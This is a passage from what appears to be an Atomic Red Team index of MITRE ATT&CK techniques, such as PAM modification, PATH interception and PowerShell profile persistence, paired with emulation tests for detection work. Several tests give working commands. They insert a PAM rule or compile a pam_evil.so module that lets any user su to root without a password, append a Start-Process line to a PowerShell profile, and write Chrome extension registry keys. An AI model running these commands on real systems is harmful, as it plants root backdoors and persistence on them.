filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell. To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria.(Citation: haking9 libpcap network sniffing) Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation: exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May 2020) Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: 'Identify running processes with raw sockets. Ensure processes listed have a need for an open raw socket and are in accordance with enterprise policy.(Citation: crowdstrike bpf socket filters)' x_mitre_platforms: - Linux - macOS - Windows x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Tim (Wadhwa-)Brown - CrowdStrike x_mitre_data_sources: - 'Process: Process Creation' - 'Network Traffic: Network Connection Creation' type: attack-pattern id: attack-pattern--005cc321-08ce-4d17-b1ea-cb5275926520 created: '2022-09-30T21:18:41.930Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1205/002 external_id: T1205.002 - source_name: exatrack bpf filters passive backdoors description: 'ExaTrack. (2022, May 11). Tricephalic Hellkeeper: a tale of a passive backdoor. Retrieved October 18, 2022.' url: https://exatrack.com/public/Tricephalic_Hellkeeper.pdf - source_name: crowdstrike bpf socket filters description: 'Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.' url: https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/ - source_name: Leonardo Turla Penquin May 2020 description: Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021. url: https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf - source_name: haking9 libpcap network sniffing description: 'Luis Martin Garcia. (2008, February 1). Hakin9 Issue 2/2008 Vol 3 No.2 VoIP Abuse: Storming SIP Security. Retrieved October 18, 2022.' url: http://recursos.aldabaknocking.com/libpcapHakin9LuisMartinGarcia.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1037: technique: modified: '2024-04-16T12:23:13.621Z' name: Boot or Logon Initialization Scripts description: "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \ \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - macOS - Windows - Linux - Network x_mitre_version: '2.3' x_mitre_data_sources: - 'File: File Modification' - 'Windows Registry: Windows Registry Key Creation' - 'Command: Command Execution' - 'File: File Creation' - 'Process: Process Creation' - 'Active Directory: Active Directory Object Modification' type: attack-pattern id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 created: '2017-05-31T21:30:38.910Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1037 external_id: T1037 - source_name: Anomali Rocke March 2019 description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019. url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang - source_name: Mandiant APT29 Eye Spy Email Nov 22 description: 'Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.' url: https://www.mandiant.com/resources/blog/unc3524-eye-spy-email object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1556.003: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - Scott Knight, @sdotknight, VMware Carbon Black - George Allen, VMware Carbon Black object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771 type: attack-pattern created: '2020-06-26T04:01:09.648Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1556.003 url: https://attack.mitre.org/techniques/T1556/003 - source_name: Apple PAM url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020. - source_name: Man Pam_Unix url: https://linux.die.net/man/8/pam_unix description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020. - source_name: Red Hat PAM url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020. - source_name: PAM Backdoor url: https://github.com/zephrax/linux-pam-backdoor description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020. - source_name: PAM Creds url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/ description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020. modified: '2022-05-11T14:00:00.188Z' name: 'Modify Authentication Process: Pluggable Authentication Modules' description: |- Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM) Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor) Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). x_mitre_is_subtechnique: true x_mitre_version: '2.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'Logon Session: Logon Session Creation' x_mitre_permissions_required: - root spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1556.003 atomic_tests: - name: Malicious PAM rule auto_generated_guid: 4b9dde80-ae22-44b1-a82a-644bf009eb9c description: | Inserts a rule into a PAM config and then tests it. Upon successful execution, this test will insert a rule that allows every user to su to root without a password. supported_platforms: - linux input_arguments: path_to_pam_conf: description: PAM config file to modify. type: string default: "/etc/pam.d/su-l" pam_rule: description: Rule to add to the PAM config. type: string default: auth sufficient pam_succeed_if.so uid >= 0 index: description: Index where the rule is inserted. type: integer default: 1 executor: name: sh elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} ' - name: Malicious PAM rule (freebsd) auto_generated_guid: b17eacac-282d-4ca8-a240-46602cf863e3 description: | Inserts a rule into a PAM config and then tests it. Upon successful execution, this test will insert a rule that allows every user to su to root without a password. supported_platforms: - linux input_arguments: path_to_pam_conf: description: PAM config file to modify. type: string default: "/etc/pam.d/su" pam_rule: description: Rule to add to the PAM config. type: string default: auth sufficient pam_succeed_if.so uid >= 0 index: description: Index where the rule is inserted. type: integer default: 8 executor: name: sh elevation_required: true command: 'sudo sed -i "" "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} ' cleanup_command: 'sudo sed -i "" "/#{pam_rule}/d" #{path_to_pam_conf} ' - name: Malicious PAM module auto_generated_guid: 65208808-3125-4a2e-8389-a0a00e9ab326 description: | Creates a PAM module, inserts a rule to use it, and then tests it. Upon successful execution, this test will create a PAM module that allows every user to su to root without a password. supported_platforms: - linux input_arguments: path_to_pam_conf: description: PAM config file to modify. type: string default: "/etc/pam.d/su-l" pam_rule: description: Rule to add to the PAM config. type: string default: auth sufficient /tmp/pam_evil.so index: description: Index where the rule is inserted. type: integer default: 1 path_to_pam_module_source: description: Path to PAM module source code. type: path default: PathToAtomicsFolder/T1556.003/src/pam_evil.c path_to_pam_module: description: Path to PAM module object type: path default: "/tmp/pam_evil.so" dependencies: - description: 'The PAM development library must be installed to build the PAM module ' prereq_command: 'if [ -f /usr/include/security/pam_modules.h ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'if [ -n "`which apt-get`" ]; then sudo apt-get -y install libpam0g-dev; elif [ -n "`which yum`" ]; then sudo yum -y install pam-devel; fi ' - description: 'The PAM module must exist on disk at specified location (#{path_to_pam_module}) ' prereq_command: 'if [ -f #{path_to_pam_module} ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'sudo gcc -shared -fPIC -o #{path_to_pam_module} #{path_to_pam_module_source} ' executor: name: sh elevation_required: true command: 'sudo sed -i "#{index}s,^,#{pam_rule}\n,g" #{path_to_pam_conf} ' cleanup_command: 'sudo sed -i "\,#{pam_rule},d" #{path_to_pam_conf} ' T1574.007: technique: modified: '2023-10-03T03:29:57.078Z' name: Path Interception by PATH Environment Variable description: "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Stefan Kanthak x_mitre_deprecated: false x_mitre_detection: |- Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' x_mitre_defense_bypassed: - Application Control type: attack-pattern id: attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32 created: '2020-03-13T14:10:43.424Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/007 external_id: T1574.007 - source_name: Elastic Rules macOS launchctl 2022 description: Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023. url: https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html - source_name: ExpressVPN PATH env Windows 2021 description: 'ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.' url: https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/ - source_name: uptycs Fake POC linux malware 2023 description: 'Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.' url: https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware - source_name: nixCraft macOS PATH variables description: Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable Command. Retrieved September 28, 2023. url: https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1546.013: technique: modified: '2023-10-20T17:04:13.976Z' name: 'Event Triggered Execution: PowerShell Profile' description: "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Allen DeRyke, ICE - Matt Green, @mgreen27 x_mitre_deprecated: false x_mitre_detection: |- Locations where profile.ps1 can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include: * $PsHome\Profile.ps1 * $PsHome\Microsoft.{HostProgram}_profile.ps1 * $Home\\\[My ]Documents\PowerShell\Profile.ps1 * $Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1 Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Modification' - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Creation' x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3 created: '2020-01-24T15:11:02.758Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/013 external_id: T1546.013 - source_name: Wits End and Shady PowerShell Profiles description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019.' url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html - source_name: ESET Turla PowerShell May 2019 description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019. url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/ - source_name: Malware Archaeology PowerShell Cheat Sheet description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016. url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf - source_name: Microsoft About Profiles description: Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019. url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6 - source_name: Microsoft Profiles description: Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022. url: https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1546.013 atomic_tests: - name: Append malicious start-process cmdlet auto_generated_guid: '090e5aa5-32b6-473b-a49b-21e843a56896' description: 'Appends a start process cmdlet to the current user''s powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched. ' supported_platforms: - windows input_arguments: exe_path: description: Path the malicious executable type: path default: calc.exe ps_profile: description: Powershell profile to use type: string default: "$profile" dependency_executor_name: powershell dependencies: - description: 'Ensure a powershell profile exists for the current user ' prereq_command: 'if (Test-Path #{ps_profile}) {exit 0} else {exit 1} ' get_prereq_command: 'New-Item -Path #{ps_profile} -Type File -Force ' executor: command: | Add-Content #{ps_profile} -Value "" Add-Content #{ps_profile} -Value "Start-Process #{exe_path}" powershell -Command exit cleanup_command: | $oldprofile = cat $profile | Select-Object -skiplast 1 Set-Content $profile -Value $oldprofile name: powershell T1543: technique: modified: '2024-02-15T14:14:03.942Z' name: Create or Modify System Process description: "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect. \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: "Monitor for changes to system processes that do not correlate with known software, patch cycles, etc., including by comparing results against a trusted system baseline. New, benign system processes may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. \n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. \n\nMonitor for changes to files associated with system-level processes." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - macOS - Linux - Containers x_mitre_version: '1.2' x_mitre_data_sources: - 'Service: Service Creation' - 'Container: Container Creation' - 'Driver: Driver Load' - 'Service: Service Modification' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'File: File Modification' - 'File: File Creation' - 'Windows Registry: Windows Registry Key Creation' - 'Process: OS API Execution' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5 created: '2020-01-10T16:03:18.865Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543 external_id: T1543 - source_name: AppleDocs Launch Agent Daemons description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017. url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - source_name: TechNet Services description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. url: https://technet.microsoft.com/en-us/library/cc772408.aspx - source_name: OSX Malware Detection description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.' url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1133: technique: modified: '2023-05-09T14:00:00.188Z' name: External Remote Services description: |- Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - ExtraHop - David Fiser, @anu4is, Trend Micro - Alfredo Oliveira, Trend Micro - Idan Frimark, Cisco - Rory McCune, Aqua Security - Yuval Avrahami, Palo Alto Networks - Jay Chen, Palo Alto Networks - Brad Geesaman, @bradgeesaman - Magno Logan, @magnologan, Trend Micro - Ariel Shuper, Cisco - Yossi Weizman, Azure Defender Research Team - Vishwas Manral, McAfee - Daniel Oakley - Travis Smith, Tripwire - David Tayouri x_mitre_deprecated: false x_mitre_detection: |- Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Linux - Containers - macOS x_mitre_version: '2.4' x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' - 'Logon Session: Logon Session Metadata' - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d created: '2017-05-31T21:31:44.421Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1133 external_id: T1133 - source_name: Volexity Virtual Private Keylogging description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.' url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ - source_name: MacOS VNC software for Remote Desktop description: Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021. url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac - source_name: Unit 42 Hildegard Malware description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.' url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ - source_name: Trend Micro Exposed Docker Server description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021. url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1133 atomic_tests: - name: Running Chrome VPN Extensions via the Registry 2 vpn extension auto_generated_guid: 4c8db261-a58b-42a6-a866-0a294deedde4 description: 'Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list ' supported_platforms: - windows input_arguments: chrome_url: description: chrome installer download URL type: url default: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe extension_id: description: chrome extension id type: string default: '"fcfhplploccackoneaefokcmbjfbkenj", "fdcgdnkidjaadafnichfpabhfomcebme" ' dependency_executor_name: powershell dependencies: - description: 'Chrome must be installed ' prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.exe" #{chrome_url} Start-Process "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.exe" /S executor: name: powershell elevation_required: true command: | $extList = #{extension_id} foreach ($extension in $extList) { New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force} Start chrome Start-Sleep -Seconds 30 Stop-Process -Name "chrome" cleanup_command: | $extList = #{extension_id} foreach ($extension in $extList) { Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore} T1546.006: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847 created: '2020-01-24T14:21:52.750Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1546.006 url: https://attack.mitre.org/techniques/T1546/006 - source_name: Malware Persistence on OS X url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. - source_name: Writing Bad Malware for OSX url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. x_mitre_deprecated: false revoked: false 